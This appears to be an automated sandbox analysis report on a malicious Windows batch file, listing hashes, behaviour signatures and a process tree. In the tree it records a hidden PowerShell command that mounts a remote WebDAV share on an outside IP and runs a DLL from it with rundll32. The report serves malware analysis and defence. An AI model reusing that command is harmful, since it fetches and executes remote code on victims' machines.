Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 01:13

General

  • Target

    274503039018374471.bat

  • Size

    2KB

  • MD5

    942535084ec7a4e8700b4f3d491212cb

  • SHA1

    7473b21b47c2666ff19b74d765c437afcdb5e6c8

  • SHA256

    8d37ace9fd21747986e55e5732d9fabbf1431b14317e41cdc09efadc8f7b6f3b

  • SHA512

    1ecd6cdcd049ac7f7e2f79ba87ba54a955262ac313fce2849e070d358949bed1c783171942afa9fb1e6da1ddb5a6f281d5c484248e65c52755d66ce7539df67b

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\274503039018374471.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2160
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1151.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2832
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2580
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1151.dll entry
          3⤵
            PID:2608

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2160-16-0x0000000002320000-0x0000000002420000-memory.dmp

        Filesize

        1024KB

      • memory/2832-24-0x000000001B4B0000-0x000000001B792000-memory.dmp

        Filesize

        2.9MB

      • memory/2832-25-0x0000000002690000-0x0000000002698000-memory.dmp

        Filesize

        32KB